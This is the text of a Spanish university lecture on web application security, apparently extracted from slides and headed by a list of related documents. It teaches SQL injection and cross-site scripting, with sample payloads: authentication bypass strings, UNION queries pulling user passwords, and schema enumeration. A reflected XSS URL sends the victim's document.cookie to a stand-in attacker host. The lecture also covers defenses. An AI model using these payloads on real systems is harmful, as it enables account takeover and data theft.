Computación Web (Curso 2013/2014)

Documentos relacionados
Aplicaciones Web (Curso 2014/2015)

Seguridad en Aplicaciones Web

Seguridad en Aplicaciones Web

Seguridad en Aplicaciones Web

Aplicaciones Web (Curso 2015/2016)

Computación Web (Curso 2013/2014)

SEGURIDAD EN APLICACIONES WEB. Autor: Siler Amador Donado

Amenazas a Aplicaciones Web Ing. Mauricio Andrade Guzmán. Subdirección de Seguridad de la Información/UNAM-CERT

SEGURIDAD Y ALTA DISPONIBILIDAD

PHP y MySQL Domine el desarrollo de un sitio Web dinámico e interactivo (3ª edición)

ANÁLISIS DE LAS PRINCIPALES VULNERABILIDADES DE UN SISTEMA INFORMÁTICO

Bloque I: Seguridad web

Seguridad Web. Álvaro Gómez Giménez UAM.NET. Álvaro Gómez Giménez (UAM.NET) Seguridad Web / 19

Seguridad Web: SQL Injection & XSS

Seguridad Web: SQL Injection & XSS

Las cookies son utilizadas habitualmente por los servidores web para diferenciar usuarios y para actuar de diferente forma dependiendo de éstos.

SQL Injection. 1º Edición - 11 y 12 de Mayo Montevideo, Uruguay

Objetivos y Temario CURSO PHP Y MySQL

Seguridad en la entrega aplicaciones

Webinar Gratuito Vulnerabilidades en Aplicaciones Web

ESTÁNDAR DE CODIFICACIÓN JEE CHECKLIST

Introducción a OWASP TOP Ten Segu-Info &

Recomendaciones sobre protección de Dominios en Internet. Julio César Cossío NIC México.

Guia práctica de PHP 5 Francisco Charte Ojeda

Seguridad aplicaciones (Solución RASP).

Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer en la practica algunas formas

Sesión 13. Seguridad en la web. Luisa Fernanda Rincón Pérez

S E G U R I D A D E N A P L I C A C I O N E S W E B

Hacking Ético Web. I Jornadas Tecnológicas CEEPS Carlos García García i52gagac@uco.es

Índice El protocolo smtp...26 RESUMEN DEL CAPÍTULO...26

Seguridad en Aplicaciones Web

Bienvenidos a la segunda parte del taller de seguridad web, sería recomendable que leer el primero, al que pueden acceder desde aquí.

Desarrollo Web con PHP

Computación Web (Curso 2013/2014)

PARTE 1. XSS indirecto

Programador Web en Wordpress + PHP + Javascripts + MySQL. Nivel Profesional. Informática y Programación

Denominación: OPERACIONES AUXILIARES CON TECNOLOGÍAS DE LA INFORMACIÓN Y LA COMUNICACIÓN. Código: MF1209_1

En este curso se presenta un análisis profundo de la base de datos MySQL para los sistemas operativos Windows y Linux.

Tablas -SQL Curso Bases de Datos. Por Elizabeth León Guzmán, Ph.D. Profesora Ingeniería de Sistemas Grupo de Investigación MIDAS

INTRODUCCIÓN A LAS BASES DE DATOS. L.I Gerardo Benavides Pérez

ESTÁNDAR DE CODIFICACIÓN JEE CHECKLIST

ÍNDICE. Introducción... Capítulo 1. Características, instalación, inicio y entorno de trabajo... 1

Manual de Sentencias Básicas en SQL

PORTAFOLIO DE EVIDENCIAS

PROGRAMACIÓN SEGURA EN PHP Héctor A. Mantellini VaSlibre CODIGO LIMPIO CODIGO SEGURO.

Diseño y programaciã³n de pã ginas web

Diplomado Web con PHP, MySQL 7.0, Apache y AJAX

2º ASIR UD2 - SAD SEGURIDAD EN LA RED CORPORATIVA 5.- AMENAZAS Y ATAQUES EN REDES CORPORATIVAS:

Requerimientos No Funcionales

Índice: Tema Conexión con Bases de Datos

ÍNDICE. Introducción... XVII. Capítulo 1. Oracle 10g y el Grid Computing... 1

PRÓLOGO...13 CAPÍTULO 1. INTRODUCCIÓN A AJAX...17

1 Conociendo Macromedia Dreamweaver 2 Creación de sitios y páginas Web

Aspectos Básicos de la Seguridad en Aplicaciones Web

Ajax. Technology review

Vulnerabilidades en Aplicaciones Web Webinar Gratuito

MANUAL DE USUARIO Formularios de Adquisición de Material Bibliográfico

E-ATTIJARI. ÍNDICE 1/ Objetivo. 2/ Autenticación. 3/ Acceso a las cuentas. 4/ Detalles de las cuentas

Programa Formativo IFCT OPERACIONES AUXILIARES DE MONTAJE Y MANTENIMIENTO DE SISTEMAS MICROINFORMÁTICOS

PHP && Web 2.0. Ing. Mario Uriarte Amaya

Configuración de la Autenticación en IIS

2da Unidad: Base de Datos

AGENDA. Mejorando la Seguridad en Aplicaciones Web. Introducción. La Web Promesas y Amenazas. Asegurando la Red y el Servidor de Web

Consejería de Hacienda y Administración Pública. Buenas prácticas de seguridad en los procesos de autenticación y firma

INTRODUCCIÓN A PHP PHP: LENGUAJE DE PROGRAMACIÓN

ANALISIS DE VULNERABILIDADES

UNIVERSIDAD TÉCNICA DEL NORTE

Desarrollo y servicios web

PROGRAMACIÓN PÁGINAS WEB CON ASP.NET 3.5 (C#)

Principios Básicos de Seguridad en Bases de Datos

Programador Web en Drupal + PHP + Javascripts + MySQL. Nivel Profesional. Informática y Programación

SEGURIDAD EN LAS BASES DE DATOS

Iniciando con Oracle. Índice de contenido. Ingresando a Oracle. Cambiando Su Contraseña. Ingresando un Comando SQL en SQL*Plus

Corporación Ornitorrinco Labs

Soluciones BYOD para el aula. 24.Febrero.2016

PHP 7 Desarrollar un sitio web dinámico e interactivo

About Me. Mario Robles Tencio

TALLER PHP + POSTGRES (CONEXIÓN)

Laboratorio de Aplicaciones Telemáticas (Curso 2009/2010)

Laboratorio de Aplicaciones Telemáticas (Curso 2009/2010)

Sistemas de Información

Oracle Database 12c SQL and PLSQL Fundamentals

Laboratorio de Aplicaciones Telemáticas (Curso 2009/2010)

Ventanilla Electrónica. Auditoría de Seguridad. Versión: v01r00 Fecha: 26/05/2015

Novedades ebd versión 3.2

Índice INTRODUCCIÓN...11 CAPÍTULO 1. SELECCIÓN DE ARQUITECTURAS Y HERRAMIENTAS DE PROGRAMACIÓN...13

1

Instituto Tecnológico de la Laguna Base de Datos II Academia de Sistemas y Computación. UNIDAD IV SEGURIDAD

Módulo Seguridad Informática. Objetivos del módulo

Analista Programador MySQL. Informática y Programación

Integración script de servidor con los sistemas gestores de base de datos

Transcripción:

Seguridad en Aplicaciones Web (II) Computación Web (Curso 2013/2014) Jesús Arias Fisteus // jaf@it.uc3m.es Seguridad en Aplicaciones Web (II) p. 1

Ataques al almacenamiento de datos Seguridad en Aplicaciones Web (II) p. 2

Ataques al almacenamiento de datos Principales ataques: Bases de datos SQL (inyección de SQL). Bases de datos XML. Directorios LDAP. Seguridad en Aplicaciones Web (II) p. 3

Inyección de SQL http://xkcd.com/327/ Seguridad en Aplicaciones Web (II) p. 4

Esquivar la autenticación La comilla simple es un carácter especial en SQL. La secuencia -- (comentario) invalida el resto del comando. nombre = "juan -- " String consulta = "SELECT nombre FROM Usuarios WHERE nombre= " + nombre + " AND contrasena= " + password + " "; // Consulta realizada: SELECT nombre FROM Usuarios WHERE nombre= juan -- AND contrasena= Seguridad en Aplicaciones Web (II) p. 5

Esquivar la autenticación Si no se conoce el nombre del usuario, se puede obtener el primero. En muchas aplicaciones el primer usuario es el administrador, que cuenta con privilegios especiales. nombre = " OR 1=1 -- " String consulta = "SELECT nombre FROM Usuarios WHERE nombre= " + nombre + " AND contrasena= " + password + " "; // Consulta realizada: SELECT nombre FROM Usuarios WHERE nombre= OR 1=1 -- AND contrasena= Seguridad en Aplicaciones Web (II) p. 6

Tipos de consultas Cualquier tipo de consulta es vulnerable (SELECT, INSERT, UPDATE, etc.) Se puede inyectar tanto en datos textuales como en datos numéricos. Seguridad en Aplicaciones Web (II) p. 7

Ataques a consultas INSERT En un campo se inyectan el resto de los valores: contrasena = "passwd, 10000000) -- " String consulta = "INSERT INTO Usarios (nombre, contrasena, saldo) VALUES ( " + nombre + ", " + contrasena + ", " + saldo + ")"; // Consulta realizada: INSERT INTO Usarios (nombre, contrasena, saldo) VALUES ( nombre, passwd, 10000000) --, 0) Seguridad en Aplicaciones Web (II) p. 8

Ataques con UNION El comando UNION permite combinar resultados de dos consultas. genero = "1 UNION SELECT usuario, contrasena, NULL FROM Usuarios -- " String consulta = "SELECT titulo, autor, precio FROM Libros WHERE genero=" + genero; // Consulta realizada: SELECT titulo, autor, precio FROM Libros WHERE genero=1 UNION SELECT usuario, contrasena, NULL FROM Usuarios -- Seguridad en Aplicaciones Web (II) p. 9

Nombres de tablas y columnas Para realizar algunos tipos de ataques es necesario conocer nombres de tablas y columnas. A veces los nombres son predecibles. En otras ocasiones, se pueden descubrir con consultas inyectadas con UNION: UNION SELECT TABLE_SCHEMA, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS UNION SELECT TABLE_NAME, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA= DemoSeguridad UNION SELECT COLUMN_NAME, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA= DemoSeguridad AND TABLE_NAME= Usuarios Seguridad en Aplicaciones Web (II) p. 10

Inyección de segundo orden Aun filtrando correctamente comillas (sustitución de comilla simple por doble), futuras consultas son vulnerables si se insertan en la base de datos valores con comilla simple. Las comillas no son necesarias en campos numéricos. El comentario se reemplaza por or a = a. El bloqueo de palabras clave se puede esquivar a veces: SeLeCt SELSELECTECT Si se filtran blancos, se puede insertar comentarios /* */. Seguridad en Aplicaciones Web (II) p. 11

Defensa frente a estos ataques Usar PreparedStatement o equivalente: En todas las consultas, no sólo en las que toman datos directamente del usuario. Usar el nivel de privilegios más bajo posible. Deshabilitar funciones innecesarias de las bases de datos. Mantener el gestor de bases de datos siempre actualizado. Seguridad en Aplicaciones Web (II) p. 12

Otros ataques de inyección de código Otros ataques similares por inyección de código: Inyección en comandos del sistema operativo. Inyección en lenguajes de scripting. Inyección en JSON. Inyección en XML. Inyección en LDAP. Inyección en correo electrónico. Inyección en cabeceras de HTTP. Seguridad en Aplicaciones Web (II) p. 13

Ataques a usuarios Seguridad en Aplicaciones Web (II) p. 14

Ataques a usuarios Existe un conjunto de técnicas cuyo objetivo es atacar a otros usuarios de una aplicación Web: Cross-site scripting. Inducción de acciones del usuario: On Site Request Forgery. Cross-Site Request Forgery. UI Redress Captura de datos desde otros dominios. Fijación de sesiones. Redirección abierta. Inyección de SQL en el cliente. Ataques al navegador. Seguridad en Aplicaciones Web (II) p. 15

Cross-site scripting Tres tipos principales de ataque: Reflejado. Almacenado. Basado en DOM. Seguridad en Aplicaciones Web (II) p. 16

Cross-site scripting reflejado Se produce cuando una aplicación muestra directamente datos enviados como parámetros de la petición por el usuario. Por ejemplo, páginas de error con mensaje pasado como parámetro: http://example.com/error?message=sorry%2c+an+error+occurred El cliente puede inyectar código Javascript que se ejecutará en el navegador. http://example.com/error?message=<script>var+i=new+image; +i.src= http://mdattacker.net/ %2bdocument.cookie;</script> Los enlaces se pueden disimular con codificación URL. Seguridad en Aplicaciones Web (II) p. 17

Cross-site scripting reflejado Seguridad en Aplicaciones Web (II) p. 18

Cross-site scripting reflejado Envío del enlace malicioso al usuario: Por correo electrónico. En mensajería instantánea. Desde un sitio Web de terceros o del atacante. Mediante redes de publicidad. Mediante acciones enviar a un amigo o informar al administrador en el sitio Web atacado. Seguridad en Aplicaciones Web (II) p. 19

Cross-site scripting almacenado El atacante introduce texto en la base de datos del sitio Web que posteriormente se muestra a otros usuarios. El atacante puede inyectar código Javascript en dicho texto, que se ejecutará en el navegador de otros usuarios del sistema, incluso de administradores. Más peligroso que el reflejado, porque el atacado está autenticado y no es necesario inducirlo a activar ningún enlace. Seguridad en Aplicaciones Web (II) p. 20

Cross-site scripting almacenado Seguridad en Aplicaciones Web (II) p. 21

Cross-site scripting basado en DOM El servidor no transmite los datos del usuario de vuelta, pero en la página hay código Javascript que los toma de la URL pedida y los muestra con document.write(). Ataque similar en parte a cross-site scripting reflejado. Seguridad en Aplicaciones Web (II) p. 22

Cross-site scripting Posibles acciones de ataque: Pintadas virtuales (defacement). Inyección de troyanos y phishing. Inducción de acciones por el usuario. Aprovechar privilegios: captura de texto de la función autocompletar, aplicaciones con restricciones de seguridad reducidas, uso fraudulento de controles ActiveX. Escalado del ataque en el lado del cliente: captura de teclado, historial de navegación, escaneo de puertos en la red local del usuario, etc. Seguridad en Aplicaciones Web (II) p. 23

Prevención de cross-site scripting Validar la entrada del usuario: Restricciones de longitud, conjunto de caracteres, expresiones regulares. Validar la salida: Reemplazo de caracteres reservados de HTML por referencias a entidades. Eliminar puntos peligrosos de inserción (código Javascript, cabeceras de HTTP, atributos de elementos HTML). Donde el usuario pueda editar HTML, limitar las marcas que pueda utilizar o utilizar lenguajes de marcas alternativos. Seguridad en Aplicaciones Web (II) p. 24

Referencias Dafydd Stuttard, Marcus Pinto. The Web Application Hacker s Handbook. 2nd ed. John Wiley & Sons Acceso en Safari Capítulos 9 y 12. Seguridad en Aplicaciones Web (II) p. 25